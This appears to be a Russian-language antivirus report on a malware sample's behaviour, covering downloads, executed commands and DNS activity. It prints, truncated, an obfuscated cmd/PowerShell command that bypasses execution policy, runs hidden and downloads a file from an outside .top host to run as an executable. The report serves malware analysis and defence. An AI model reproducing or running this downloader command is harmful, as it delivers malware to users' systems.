Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://toagoores.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "po^Wersh^e^LL.E^Xe -e^xE^CUt^iO^NpolIc^y b^Yp^AsS^ -^NopRO^FIlE^ ^-wi^NdoW^sTy^Le^ H^iDd^En (^nEW-^oB^J^e^Ct^ s^Y^s^t^em.net.W^e^BCL^Ien^T).DOwnloAdF^i^l^e^('http://toagoores...
Сетевая активность
UDP
- DNS ASK to###ores.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "po^Wersh^e^LL.E^Xe -e^xE^CUt^iO^NpolIc^y b^Yp^AsS^ -^NopRO^FIlE^ ^-wi^NdoW^sTy^Le^ H^iDd^En (^nEW-^oB^J^e^Ct^ s^Y^s^t^em.net.W^e^BCL^Ien^T).DOwnloAdF^i^l^e^('http://toagoores...' (со скрытым окном)
